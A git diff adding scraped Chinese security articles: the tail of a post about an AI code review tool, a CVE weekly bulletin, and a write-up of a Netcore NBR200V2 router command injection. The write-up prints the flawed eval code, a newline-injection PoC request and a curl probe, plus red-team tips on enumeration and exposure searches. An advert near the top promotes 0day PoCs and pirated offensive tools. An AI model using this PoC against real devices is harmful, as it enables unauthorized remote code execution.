+。它的定位是"每次提交都跑得起的高精度日常防线"，让高危漏洞在写代码的阶段就暴露，而不是等季度审计才被发现。
+
+
+
+0x03 更新介绍
+```
+委托模式（Delegation Mode）：不用配 LLM，把审查执行交给宿主 AI Agent，省钱省心；
+MCP 扩展能力：审查 Agent 可以调用外部工具；
+会话查看器与断点恢复：长审查任务不再怕中断；
+多语言规则集持续增强：内置 NPE、线程安全、XSS、SQL 注入等 50+ 文件类型的专项审查规则；
+```
+###
+
+0x04 使用介绍
+
+📦安装与使用指南
+```
+npm install -g @alibaba-group/open-code-review
+```
+
+安装后 ocr
+ 命令即可全局使用。也支持安装脚本、GitHub Release 二进制、Homebrew 等方式。
+### 配置 LLM
+```
+ocr config provider # 选择内置供应商或添加自定义供应商
+ocr config model # 为当前供应商选择模型
+```
+
+交互式界面会引导你完成 API Key 输入，并自动测试连通性。
+### 开始审查
+```
+cd your-project
+# 工作区模式 —— 审查所有变更
+ocr review
+# 分支范围审查
+ocr review --from main --to feature-branch
+# 单个提交
+ocr review --commit abc123
+# 全量文件扫描
+ocr scan --path internal/agent
+# 输出 JSON 结果（CI / AI Agent 推荐）
+ocr review --format json --output result.json
+```
+
+就这么简单，一次行级精度的 AI 代码审查就完成了。
+
+
+## 写在最后
+
+OpenCodeReview 给了一个很好的示范：**Agent 时代，最好的架构不是"全部交给模型"，而是把确定性工程与智能体严格分工**
+。文件筛选、分组、定位、反思交给代码；动态决策交给 Agent。
+
+
+**0x05 内部VIP星球介绍-V1.5（福利）**
+
+
+如果你想学习更多**渗透测试技术/应急溯源/免杀工具/挖洞SRC赚取漏洞赏金/红队打点等**
+欢迎加入我们**内部星球**
+可获得内部工具字典和享受内部资源和
+内部交流群，
+**每天更新1day/0day漏洞刷分上分****(2026POC更新至14222+)**
+**，**
+包含全网一些**付费扫描****工具及内部原创的Burp自动化漏****洞探测插件/漏扫工具等，AI代审工具，最新挖洞技巧、SKILL等**
+。shadon/
+Hunter
+/
+0zone
+/
+Zoomeye
+/Quake/
+Fofa高级会员/AI账号
+/CTFShow等各种账号会员共享。详情点击下方链接了解，觉得价格高的师傅后台回复"
+**星球**
+ "有优惠券名额有限先到先得
+**❗️**
+啥都有
+**❗️**
+全网资源
+最新
+最丰富
+**❗️****（🤙截止目前已有3200+多位师傅选择加入❗️早加入早享受）**
+
+****
+最新漏洞情报分享：
+https://t.zsxq.com/DSAvv
+
+****
+
+**👉****点击了解加入-->>内部VIP知识星球福利介绍V1.5版本-1day/0day漏洞库及内部资源更新**
+
+****
+
+
+结尾
+
+# 免责声明
+
+
+# 获取方法
+
+
+**公众号回复20260922获取下载、回复 加群 获取交流群**
+
+****
+
+# 最后必看-免责声明
+
+
+
+文章中的案例或工具仅面向合法授权的企业安全建设行为，如您需要测试内容的可用性，请自行搭建靶机环境，勿用于非法行为。如
+用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。
+本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。
+如您在使用本工具或阅读文章的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。本工具或文章或来源于网络，若有侵权请联系作者删除，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！
+
+
+
+# 往期推荐
+
+
+**1.内部VIP知识星球福利介绍V1.5（AI自动化）**
+
+**2.CS4.8-CobaltStrike4.8汉化+插件版**
+
+**3.全新升级BurpSuite2026.4专业(稳定版)**
+
+**4. 最新xray1.9.11高级版下载Windows/Linux**
+
+**5. 最新HCL AppScan Standard**
+
+
+渗透安全HackTwo
+
+微信号：关注公众号获取
+
+后台回复星球加入：
+知识星球
+
+扫码关注 了解更多
+
+
+
+
+
+
+上一篇文章：
+[Nacos配置文件攻防总结|揭秘Nacos被低估的攻击面](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247492839&idx=1&sn=b6f091114fbd8e8922153a996c8f4f1c&scene=21#wechat_redirect)
+
+
diff --git a/doc/2026-09/雷神众测漏洞周报2026.9.14-2026.9.20.md b/doc/2026-09/雷神众测漏洞周报2026.9.14-2026.9.20.md
new file mode 100644
index 00000000..a4c75685
--- /dev/null
+++ b/doc/2026-09/雷神众测漏洞周报2026.9.14-2026.9.20.md
@@ -0,0 +1,173 @@
+# 雷神众测漏洞周报2026.9.14-2026.9.20
+原创 雷神众测
+ 雷神众测 雷神众测 2026-09-22 07:00
+
+摘要
+
+
+以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。
+
+
+雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或增减此文章内容，不得以任何方式将其用于商业目的。
+
+
+目录
+
+**1.Ivanti Neurons for ITSM反序列化漏洞**
+
+**2.IBM WebSphere Application Server - Liberty反序列化漏洞**
+
+**3.IBM WebSphere Application Server权限提升漏洞**
+
+**4.Tenda F451操作系统命令注入漏洞**
+
+
+漏洞详情
+
+**1.Ivanti Neurons for ITSM反序列化漏洞**
+
+
+漏洞介绍：
+
+Ivanti Neurons for ITSM是Ivanti公司推出的现代化IT服务管理（ITSM）软件。
+
+
+漏洞危害：
+
+Ivanti Neurons for ITSM存在反序列化漏洞，该漏洞源于对不受信任数据的反序列化处理未能正确验证，攻击者可利用该漏洞在服务器上执行任意代码。
+
+
+漏洞编号：
+
+CVE-2026-12744
+
+
+影响范围：
+
+Ivanti Neurons for ITSM <2026.2
+
+
+修复方案：
+
+及时测试并升级到最新版本或升级版本
+
+
+来源：
+CNVD
+
+**2.IBM WebSphere Application Server - Liberty反序列化漏洞**
+
+
+漏洞介绍：
+
+IBM WebSphere Application Server - Liberty是IBM推出的一款轻量级、模块化的Java运行时环境。
+
+
+漏洞危害：
+
+IBM WebSphere Application Server - Liberty存在反序列化漏洞，该漏洞源于应用程序在接收用户提交的序列化数据的不安全反序列化处理，攻击者可利用该漏洞导致拒绝服务。
+
+
+漏洞编号：
+
+CVE-2026-10571
+
+
+影响范围：
+
+IBM WebSphere Application Server - Liberty >=17.0.0.3，<=26.0.0.8
+
+
+修复方案：
+
+及时测试并升级到最新版本或升级版本
+
+
+来源：
+CNVD
+
+
+**3.IBM WebSphere Application Server权限提升漏洞**
+
+
+漏洞介绍：
+
+IBM WebSphere Application Server是IBM推出的企业级Java应用程序服务器。
+
+
+漏洞危害：
+
+IBM WebSphere Application Server存在权限提升漏洞，该漏洞源于管理控制台中存在的访问控制缺陷。攻击者可利用该漏洞在管理控制台中进行未授权操作，导致权限提升，并可能完全控制服务器。
+
+
+漏洞编号：
+
+CVE-2026-14446
+
+
+影响范围：
+
+IBM WebSphere Application Server 8.5
+
+IBM WebSphere Application Server 9.0
+
+
+修复方案：
+
+及时测试并升级到最新版本或升级版本
+
+
+来源：
+CNVD
+
+**4.Tenda F451操作系统命令注入漏洞**
+
+
+漏洞介绍：
+
+Tenda F451是腾达（TENDA）推出的一款SOHO无线路由器。
+
+
+漏洞危害：
+
+Tenda F451存在操作系统命令注入漏洞，该漏洞源于/goform/WriteFacMac文件中的formWriteFacMac函数对mac参数命令拼接处理不当。攻击者可利用该漏洞在设备系统中执行任意操作系统命令。
+
+
+漏洞编号：
+
+CVE-2026-11556
+
+
+影响范围：
+
+Tenda F451 1.0.0.7
+
+Tenda F451 1.0.0.9
+
+
+修复方案：
+
+及时测试并升级到最新版本或升级版本
+
+
+来源：
+CNVD
+
+
+
+
+
+
+
+
+专注渗透测试技术
+
+全球最新网络攻击技术
+
+
+**END**
+
+
+
+
+
diff --git a/doc/2026-09/（9.1分）CVE-2026-94098：Netcore 路由器固件升级接口命令注入.md b/doc/2026-09/（9.1分）CVE-2026-94098：Netcore 路由器固件升级接口命令注入.md
new file mode 100644
index 00000000..53f328e9
--- /dev/null
+++ b/doc/2026-09/（9.1分）CVE-2026-94098：Netcore 路由器固件升级接口命令注入.md
@@ -0,0 +1,156 @@
+# （9.1分）CVE-2026-94098：Netcore 路由器固件升级接口命令注入
+红队安全圈
+ 红队安全圈 红队安全圈 2026-09-21 12:00
+
+Netcore NBR200V2 企业路由器固件升级接口命令注入，评分 9.1，利用代码已公开，且注入点在固件校验逻辑之前——黑名单过滤漏了换行符这一个字符。
+
+## 01 漏洞速览
+
+漏洞编号
+CVE-2026-94098
+
+关联漏洞
+CVE-2026-94099
+
+影响产品
+Netcore NBR200V2
+
+固件版本
+V1.3.241127.071246
+
+漏洞类型
+OS 命令注入
+
+危害等级
+9.1（Critical）
+
+利用状态
+PoC 已公开
+
+## 02 漏洞成因
+
+出问题的点在固件的
+/www/cgi-bin/upgrade
+ 脚本（CVE-2026-94099 则是 restore.cgi，原理一样）。这类嵌入式设备的 CGI 通常就是 shell 脚本，脚本第一步先把攻击者可控的 QUERY_STRING 做 URL 解码：
+
+QUERY_STRING=`urldecode \
+
+ "$QUERY_STRING"`
+
+解码函数并不是简单的 urldecode，它先删掉一批 shell 元字符，再把 %xx 序列通过 printf 转成实际字符：
+
+str=${str//["'\`|\<\>@
+
+ ?*!();,.\$\^]/}
+
+# 黑名单过滤一批元字符
+
+str=${str//%/\\x}
+
+str=`printf "$str"`
+
+注意这个黑名单：引号、反引号、管道、分号、括号、美元符全删了，看起来防得很全。但换行符 %0A 不在黑名单里，解码后会变成字面意义上的换行。而 shell 里换行就是命令分隔符。
+
+解码后的字符串随后按 key=val 拆分，直接丢进 eval：
+
+while [ true ]; do
+
+ param=${QUERY_STRING%%&*}
+
+ QUERY_STRING=
+
+ ${QUERY_STRING#*&}
+
+ val=${param#*=}
+
+ key=${param%=*}
+
+ eval "${key}='${val}'"
+
+done
+
+eval 拿到的 key 里如果带换行，就会被当成多行 shell 程序执行。开发者做了字符过滤，但恰恰漏了最致命的那个字符——整个漏洞的根因就在这。
+
+另一个关键点：注入发生在升级文件校验之前，后面那套依赖权限的校验逻辑根本轮不到执行。所以攻击不需要任何会话或认证前提。
+
+## 03 影响范围
+
+受影响：Netcore NBR200V2，固件 V1.3.241127.071246（其他版本未确认，建议一律按受影响处理）。
+
+已修复：厂商在披露前被提前告知，至今没有任何回应，没有补丁，没有修复版本。
+
+## 04 利用分析
+
+PoC 已经公开，原理验证非常直接。以触发设备重启为例：
+
+POST /cgi-bin/upgrade
+
+ ?reboot%0Afoo=bar HTTP/1.1
+
+Host:
+
+解码后 key 变成两行：
+
+reboot
+
+foo
+
+eval 执行第一行 reboot，设备直接重启。把 reboot 换成任意命令就是完整 RCE——wget 拉脚本、busybox 反弹 shell，取决于设备上有什么工具。
+
+restore.cgi 的 CVE-2026-94099 评分更高（9.9，PR:L），利用链同理：QUERY_STRING 注入换行符，eval 执行多行命令。
+
+## 05 检测与排查
+
+确认设备型号和固件版本：登录管理界面查看，或探测
+/cgi-bin/upgrade
+ 是否存在。NBR200V2 且固件为 V1.3.241127.071246 即受影响。也可以发一个无害探测请求看设备是否重启（注意这会造成短暂断网，生产环境慎用）：
+
+curl -X POST \
+
+ "http:///cgi-bin/
+
+ upgrade?reboot%0Afoo=bar"
+
+## 06 修复建议
+
+厂商无回应，目前没有官方补丁。缓解措施：
+
+1. 不要把 NBR200V2 管理口暴露到公网，防火墙封掉 80/443 的外部访问；
+
+2. 管理界面限制到指定运维 IP 段；
+
+3. 关注厂商后续固件更新，出补丁立刻升级；
+
+4. 有条件的话直接换设备，厂商失联的洞等于永远不修。
+
+## 07 实战技巧
+
+红队视角这批洞价值不小：
+
+1. 企业路由器的 /cgi-bin/ 目录值得主动摸一遍，nmap + http-enum 或者直接 curl 常见路径（upgrade、restore、backup）可以快速枚举；
+
+2. 遇到嵌入式 shell CGI，先看它有没有 urldecode + eval 的组合，黑名单过滤十有八九漏换行或 %0d，这是嵌入式设备命令注入的高频模式；
+
+3. 同厂商往往一个接口出问题全线都有——Netcore 这两个洞一个 upgrade 一个 restore，写成 payload 模板批量过一遍同型号其他 CGI 是常规操作；
+
+4. 利用前先确认目标是否暴露公网：Censys/FOFA 搜 NBR200V2 的指纹，能快速圈定暴露面。
+
+## 08 POC 链接
+
+https://app.notion.com/p/
+
+Netcore-NBR200V2-Vul-6-
+
+39f797159f1580259aa3cc1d0f512fde
+
+https://vuldb.com/?id.408027
+
+说明：第一链接为披露者完整分析（含利用链），第二链接为漏洞库条目。长按可逐行复制。
+
+
+如果文章对您有收获，欢迎**关注**
+、点赞、推荐、转发。
+
+— END —
+
+